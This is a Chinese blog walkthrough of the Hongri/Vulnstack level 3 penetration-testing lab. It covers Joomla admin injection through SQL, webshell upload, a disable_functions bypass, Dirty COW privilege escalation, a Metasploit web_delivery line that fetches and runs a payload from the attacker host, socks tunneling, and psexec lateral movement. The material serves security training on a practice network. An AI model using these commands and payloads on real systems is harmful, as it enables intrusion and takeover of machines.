红日靶场第三关

最新推荐文章于 2023-08-14 22:21:35 发布
最新推荐文章于 2023-08-14 22:21:35 发布
阅读量5.6k 收藏 5
点赞数
分类专栏： 内网攻防 文章标签： xss 安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47533648/article/details/121412817
版权

红日靶场第三关

一、环境配置

打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。
挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。
除重新获取ip，不建议进行任何虚拟机操作。
参考虚拟机网络配置，添加新的网络，该网络作为内部网络。

注：名称及网段必须符合上述图片，进行了固定ip配置。
本次环境为黑盒测试，不提供虚拟机账号密码。
win10/kali：VMnet11 攻击机
web-centos:VMnet10、VMnet11 外网
web1-ubantu:VMnet10 内网反代肉鸡
pc：VMnet10 内网PC
win2008：VMnet10
win2012：VMnet10
  • 在虚拟机的网络编辑器中添加两个host only网卡，ip段分别为192.168.1.0/24和192.168.93.0/24

在这里插入图片描述

  • 刚开启web-centos时输入命令：service network restart命令重启网卡，不然没法访问外网的IP地址。

二、目标

目标：域控中存在一份重要文件。

三、WEB外网打点

3.1 信息收集：

3.1.1 发现资产

外网机处于网端192.168.1.0/24中，nmap查找资产。

发现肉鸡ip为192.168.1.130，开放了80端口，判断sql类型为mysql:3306

在这里插入图片描述

3.1.2 网站信息&目录信息
CMS：Joomla
语言：php
反向代理：Nginx

在这里插入图片描述

dirsearch：(找了大半圈…)

SQL ：用户名：testuser 密码:cvcvgjASD!@

在这里插入图片描述

3.1.3 数据库连接

在这里插入图片描述

3.1.4 获得用户名和密码

加过盐，尝试看添加用户方法。

在这里插入图片描述

3.1.4.1 Joomla帮助文档
#更改用户名和密码：
"方法1：configuration.php文件"
如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件，然后你就可以恢复密码使用以下方法。
1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值，然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
2. 下载配置文件。
3. 打开configuration.php文件被下载的文本编辑器，比如notepad++并添加这行
public $root_user='myname';
在列表的底部，myname是一个用户名，管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
此用户现在将是临时的超级管理员。
5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户，您可能需要根据您的情况来阻止或删除旧用户。
6.当完成后，务必使用这里的“点击尝试自动”环节中出现的警告框，删除线，加入到configuration.php文件。如果使用链接不成功，然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
7. 使用你的FTP程序，验证了configuration.php文件的文件权限，他们应该是444。如果你手动删除添加的行，然后更改文件权限的configuration.php文件444。

#编辑数据库加入超极管理
"方法1：直接编辑数据库"
如果上面的方法不起作用，你还有另外两个选项，这两个选项都需要直接与MySQL数据库一起工作。
更改数据库中的密码
如果管理用户仍然被定义，最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问
这些指示將说明如何手动更改密码到Word中 - "secret"
    1.导航到phpMyAdmin，选择Joomla的数据库！站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
    2.找到并单击“添加表_users”在表的列表（注：你可能有一个前缀，jos_，简单地去_users表你的前缀）。
    3.点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
    4.查找要更改其密码的用户并按该行的编辑图标。
    5.将显示允许您编辑密码字段的窗体。复制的意义
    d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
    6.在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数：1.此时，密码应改为'secret'。
    7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器，以确保它们是合法的。如果您已被黑客攻击，您可能要更改网站上的所有密码。
    
"方法2：添加新超级管理员使用"
如果更改密码不起作用，或者您不确定哪个用户是超级管理员组的成员，您可以使用此方法创建新用户。
    导航到phpMyAdmin，选择Joomla的数据库！站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
    按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
    删除任何文本在这一领域，复制并粘贴以下查询下面，按下“Go”按钮执行查询和添加新的管理员用户表。
    使用下面的SQL查询添加另一个管理员帐户。
Stop hand nuvola.svg.png确保您的数据库表前缀匹配！
下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是“random 或你设定的具体过。你需要改变所有发生的jos31_”（你的安装设置前缀）发现，在下面的代码前缀安装使用。

Joomla使用SQL代码  Joomla 2.5 Joomla 3.x Joomla 4.x
INSERT INTO `jos31_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

在这一点上，你应该能够登录到Joomla的后端！用用户名和密码“Admin2”的“密码”。登录后，转到用户管理器并将密码更改为新的安全值，并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”，一定要检查所有的用户是合法的，特别是超级管理员组的任何成员。
Stop hand nuvola.svg.pngWarning!
警告：此页上显示的密码值为公开知识，仅用于恢复。您的网站可能会被黑客攻击，如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。

上面的例子更改密码为“select”。其他两个可能的值如下所示：
- password = "this is the MD5 and salted hashed password"
------------------------------------------------------
- admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

将命令写入：

  • 建议把上面的admin2改成admin123456，不知道为什么我admin2无法登录。

在这里插入图片描述

3.2 模板注入Getshell

找到模板模块

在这里插入图片描述

任选一个：

在这里插入图片描述

直接挂马：创建一个新的文件，上马连。

在这里插入图片描述

成功getshell

在这里插入图片描述

3.3 disable_function绕过

说明：
# php文件中禁用的函数名，来源于文件/etc/php.ini
禁用如下： 
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

判断是disable_function禁用了命令，需要绕过，这里选择跳给蚁剑绕。

在这里插入图片描述

3.3.1 中国蚁剑上线

用上述方法重复一次即可上线。

推荐蚁剑插件：

检测永恒之蓝：         https://github.com/AntSword-Store/AS_MS17-010_Scan
disable_function绕过：https://github.com/AntSword-Store/as_bypass_php_disable_functions
木马扫描：            https://github.com/AntSword-Store/as_trojan_scans
出网探测：            https://github.com/AntSword-Store/AS_Out-of-Network

在这里插入图片描述

选择插件绕过：

在这里插入图片描述

选择：

在这里插入图片描述

3.3.2 成功绕过

在这里插入图片描述

3.4 拿下WEB机和反向代理服务器

cd /etc/nginx/
cat nginx.conf

在这里插入图片描述

发现真实WEB服务IP地址为192.168.93.120

而centos则是提供反向代理的Nginx服务器192.168.93.100

四、MSF上线

4.1 ssh登录

文件/tmp/mysql/test.txt中暴露用户名:wwwuser 密码:wwwuser_123Aqx (这里我找不到文件，ssh直接连的)

在这里插入图片描述

4.2 脏牛提权

脏牛漏洞 （CVE-2016-5195）对CentOS 进行提权
EXP下载：https://github.com/FireFart/dirtycow
将代码上传到一个可以执行的文件夹内，可以尝试我的方法：
# Xshell连接后——>开启ftp服务——>脏牛传入tmp中——>xshell输入命令
xshell命令：到可执行文件cd /tmp
编译脏牛：gcc -pthread dirty.c -o dirty -lcrypt
给编译文件设密码：./dirty 123456         id 	显示用户的ID，以及所属群组的ID；uid=0，为root用户
给系统添加了一个管理员用户：用户名：firefart   密码：123456

在这里插入图片描述

在这里插入图片描述

新建一个连接ssh连，直接就是root用户。

4.3 反弹shell给msf

msf生成Linux的shell，用于后期代理横向：

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=9999 -f elf > shell.elf

在这里插入图片描述

4.3.1 配置监听
> use exploit/multi/script/web_deliverymsf6 exploit(multi/script/web_delivery) > set LHOST 192.168.1.129msf6 exploit(multi/script/web_delivery) > set LPORT 9999msf6 exploit(multi/script/web_delivery) > set target 7msf6 exploit(multi/script/web_delivery) > show targets（查target，选择Linux）Exploit targets:   Id  Name   --  ----   0   Python   1   PHP   2   PSH   3   Regsvr32   4   pubprn   5   SyncAppvPublishingServer   6   PSH (Binary)   7   Linux   8   Mac OS Xmsf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > exploit#会生成一段payload:#[*] Run the following command on the target machine:wget -qO okzSAYhF --no-check-certificate http://192.168.1.129:8080/vGQNSa6r6; chmod +x okzSAYhF; ./okzSAYhF& disown
4.3.2 FTP上传

在这里插入图片描述

4.3.3 运行并查看

在这里插入图片描述

想要进入meterpreter的只需sessions 1即可。

4.4 端口转发

4.4.1 路由转发MSF入段
msf路由转发，让msf进入内网93段sock5代理，让kali进入内网93段msf路由转发> route print> route add 192.168.93.0 255.255.255.0 1> route print

在这里插入图片描述

4.4.2 socket5代理转发KALI
#关于proxychains4用proxychains可以启动任何程序，proxychains配合nmap和msf是内网渗透的大杀器，需要注意的是proxychains不支持udp和icmp协议。现在启动nmap，使用TCP扫描，不使用ping扫描，扫描整个内网.

KALI中的操作：

vim /etc/proxychains4.conf：末尾最后一行注释socks4，添加一行socks5 127.0.0.1 1080> cd /root/ew/      ：进入目录> ./ew_for_linux64 -s rcsocks -l 1080 -e 1234

Centos中的操作:

> cd /tmp/   ：上传ew_for_linux64到该目录下> chmod +x *  ：添加权限，不然没法执行> ./ew_for_linux64 -s rssocks -d 192.168.131(kali) -e 1234

centos:

在这里插入图片描述

成功：

在这里插入图片描述

五、内网横向

5.1 内网信息收集

5.1.1 本机信息收集

ifconfig /all

外网IP：192.168.1.130 内网IP：192.168.93.100

在这里插入图片描述

sysinfo：版本查询

在这里插入图片描述

5.1.2 内网资产探测
msf6 exploit(multi/script/web_delivery) > use auxiliary/scanner/discovery/udp_probe 
msf6 auxiliary(scanner/discovery/udp_probe) > set rhosts 192.168.93.0-255
msf6 auxiliary(scanner/discovery/udp_probe) > set threads 10
msf6 auxiliary(scanner/discovery/udp_probe) > run

在这里插入图片描述

整理资产：

192.168.93.100  centos-web (外网机子)
192.168.93.30   WIN7  （初步判断是PC机子）
192.168.93.20   WIN2008
192.168.93.10   WIN2012R2
5.1.3 端口扫描
proxychains4 nmap -Pn -sT -sV 肉鸡IP -F

WIN2012R2(192.168.93.10):

在这里插入图片描述

WIN2008(192.168.93.20):

在这里插入图片描述

WIN7(192.168.93.30):

在这里插入图片描述

六、psexec传递(win7)

6.1 拿下win7

密码只能从网上找，未给测试爆破字典。

获取会话。目前的情况是windows在内网，添加的路由是把攻击机带入到内网，使用reverse_tcp是连接不上了，只能正向连接。

win7:192.168.30.30 处于内网
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run

在这里插入图片描述

6.2 win7信息收集

ipconfig /all

在这里插入图片描述

sysinfo

在这里插入图片描述

域内Domian:test.org

6.3 同理拿下win2008

在这里插入图片描述

七、无法拿下的域控

域控机SMB一连就断，无法用psexec传递拿下。
win2008没有域控的登录日志。
win2008和win7无法用mimikatz抓取到铭文密码。
总计问题：
1.win7拿下后，但shell的连接断断续续。
2.内网机器都无法用Meterpreter调用mimikatz抓取铭文密码。
3.未上线至CS，因为需要C2插件。
Cllmsy_K
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
红日安全靶场3
weixin_48169878的博客
07-13 4161
环境准备 1、所有虚拟机已经自动挂起。且内网网段为192.168.93.0\24，外网网段为dhcp，不需要更改2、修改VMnet2的ip为192.168.93.0网段，没有就创建。因为校园网问题，桥接模式无法上网，为了方便，外网网卡改为net模式，并配置192.168.1.0网段，如下所示：修改kail的ip以及dns扫出来......
2024年最全红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记，2024年最新软件测试性能优化面试题集锦
2301_82242990的博客
05-06 984
内网中，最总要的还是域管理员账号，有了域管理员账号后，可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。后渗透阶段，当我们已经将小马上传到web服务器上时，可以用webshell管理工具进行下一步渗透了。这里直接是administrator，所有可以直接提到system，实战中还需要其他手段提权。调用exp打一下，不保证100%能能打成功，会有很多因素失败，可以尝试一下。这里的思路是将shell派送给CS或者msf进行下一步渗透。
内网渗透—红日靶场三
一个普普通通的博客
04-23 5289
红日靶场三—红队实战，内网渗透
红日安全 ATT＆CK VulnStack靶场（三）
baynk的博客
07-12 2874
0x00 前言 内网真的有点难搞，总是会碰到一些奇怪的问题。。。基础不难，地动山摇。 不知道原版哪下的，就放个自己云盘的，这玩意压缩后只有20G，解压后有100G… 放个下载地址：提取码: uecu 拓扑图如下 除了centos的出口网卡的IP是需要调整外，其余网卡都不需要调整。 0x01 Web打点 直接访问网站 发现很熟悉，joomla cms，国外比较有名的cms，直接上工具，kali里面带的joomscan [+] FireWall Detector [++] Firewall not det
ATT&CK红日3靶机渗透攻略
weixin_47311099的博客
01-27 5972
ATT&CK红队评估三攻略 下载链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 启动：直接恢复运行，不建议重启！注意由于靶场封装时桥接的ip可能跟当前IP段不一样，故而需要在centos靶机中输入 service network restart 重启网卡 信息收集 nmap扫描 nmap -sS -sV 192.168.111.0/24 开放了http80 ssh22 mysql3306 网站信息收集 通过wapplayzer插
VulnStack-ATT&CK-3（红日靶场三）
buffedon的博客
07-12 8896
VulnStack-ATT&CK-31. 环境配置2. 信息收集目标机端口扫描目录扫描3. 漏洞利用远程连接web的MySQL登录后台写一句话木马连接木马文件getshell4. 内网渗透内网信息收集脏牛漏洞提权内网渗透，建立监听路由转发Sock代理Socks5代理5. 横向移动NTLM Relay 攻击定位域管理员meterpreter的kiwi模块抓取密码使用获取到的密码控制 win7进攻域控（win 2012）6. 问题总结 1. 环境配置 此图仅供参考，IP地址有误 首先添加一张网卡（仅主
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记_红日靶场1攻略-CSDN博客.html
最新发布
05-11
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记_红日靶场1攻略-CSDN博客.html
红日安全-wp1
08-03
护网杯 Write up--红日安全迟来的签到base64 解密，得到如下结果：根据题目提示为 xor 异或，利用 c 语言撰写脚本利用 burp 爆破获得大辣
红日Web安全新手入门专刊.pdf
08-08
目录 1 web 安全新手入门指南 2 安全靶场实例分析
漏洞靶场平台搭建与漏洞分析文档
04-29
漏洞靶场平台搭建与漏洞分析文档，里面包含漏洞靶场网站的搭建、漏洞分析、工具使用、漏洞脚本样例，来源是红日安全，大家一起学习，进步！
2020年红日安全星火沙龙PPT.zip
02-25
2020年红日安全星火沙龙PPT
【红日靶场】3——从靶场配置到漏洞发现、脏牛提权、反弹shell详细解出
m0_62783065的博客
03-16 1341
【红日靶场】3——从靶场配置到漏洞发现、脏牛提权、反弹shell详细解出
ATT&CK红队评估（红日靶场三）
weixin_45682839的博客
04-25 3416
ATT&CK红队评估（红日靶场三）通关，拿下所有五台主机，包括：Centos、Ubantu、Windows xp、Windows 2008、Windows 2012
红日ATT＆CK VulnStack靶场（三）
xhscxj的博客
08-14 400
1.扫描DMZ机器端口2.进行ssh和3306爆破无果后访问web服务3.已知目标是Joomla，扫描目录4.有用的目录分别为1.php5.configuration.php~中泄露了数据库密码6.administrator为后台登录地址7.直接连接mysql8.找到管理员表，密码加密了9.百度joomla密码的加密方式以及重置方式，用下面的方式添加新的管理员用户10.重置密码后登录后台11.搜索相关漏洞，用这个后台RCE12.访问后并没有回显。
红日靶机vulnstack03【半总结】
qq_45300786的博客
10-04 511
ip就不说了，和前面差不多，都是2个网段。 打开centos 把里面所有的ip都该成ubuntu的ip，因为ubuntu才是真正的服务器，centos只是nginx反向代理服务器 改了后，记得重启nginx服务 nginx -s reload 攻略教程如下： 红日安全ATT＆CK靶机实战系列之vulnstack3 VulnStack-ATT&CK-3（红日靶场三） ...
ATT&CK 红日靶场(三)-简记
zhoufy的博客
06-21 1017
端口目录访问 ip/1.php -->根目录、禁用函数!!!-------IP/configuration.php~-->>发现 testuser / cvcvgjASD!更改密码->>123456Step 》写马->>eval($_POST['123']);-》访问error.php--antsward 连接后无法执行命令：antsward-》加载插件-》辅助工具-》绕过disable_fuctions-》PHP7_GC_UAF 、PHP7_Backtrace_UAF。
红日（vulnstack）3 内网渗透ATT&CK实战
m0_66299232的博客
03-11 1643
蚁剑成功连接后无法执行命令，disable_functions插件，权限提升-脏牛漏洞，用msfvenom生成木马文件，msf开启监听，执行木马文件，成功反弹shell到msf上 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.106 set LPORT 1106 run 使用use auxiliary/scanner/smb/smb_login模块，进行smb爆破
【红日内网打靶记录】红日3打靶（下）
weixin_54603520的博客
05-19 380
注意：蚁剑连接后无法执行命令时因为系统设置了函数黑名单，这里使用的时bypass插件去继续进行，我们也可以考虑使用哥斯拉或者蚁剑，因为这两个工具的传输是加密的，应该是可以直接执行命令的。这里发现查询到的ip并不是我们拿下的机器的IP，应该是什么软件流量代理造成的。所以我们这里查询出来的结果是其他端口。这里成功执行，并且帮我们创建了一个新的账号，我们可以直接设置密码，重新登录达到提权的目的。查询当前拿下的机器网络连接情况，这里发现了一个与其建立连接的机器，应该是通过93.100的机器去做代理的。
ATT&CK实战系列-红队评估 （红日靶场3）Vulnstack三层网络域渗透靶场
qq_47289634的博客
08-01 1159
靶场地址打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。除重新获取ip，不建议进行任何虚拟机操作。参考虚拟机网络配置，添加新的网络，该网络作为内部网络。注：名称及网段必须符合下面图片，进行了固定ip配置。
红日靶场下载csdn
08-13
红日靶场是一个很受欢迎的网络安全实验平台，用于学习和锻炼网络攻防技术。由于该平台所提供的安全实验环境包含了许多常见的漏洞和攻击场景，因此在安全爱好者和专业人士中间都非常受欢迎。 要下载红日靶场，首先需要在CSDN（中国软件与技术服务股份有限公司）网站上搜索相关资源。CSDN是中国最大的IT技术社区和资源分享平台，用户可以在其网站上找到各种技术文档、开发工具和学习资源。 在CSDN网站上搜索红日靶场，可以找到一些与红日靶场相关的下载链接。用户可以根据自己的需求选择合适的下载链接，点击下载按钮即可开始下载。 下载过程可能需要一些时间，具体时间取决于网络连接速度和文件大小。一旦下载完成，用户可以根据下载的文件类型进行相应的安装或配置，以确保红日靶场能够正常运行。 如果在CSDN上找不到合适的下载资源，也可以尝试在其他一些技术资源网站或论坛上搜索红日靶场下载链接。同时，用户还可以考虑通过与其他网络安全爱好者或专业人士交流，获得更多关于红日靶场下载的信息和建议。 最后，下载红日靶场后，用户可以通过参与其中的各种实验和挑战，提升自己的网络安全技能，并加深对各种攻防技术的理解和应用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cllmsy_K

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值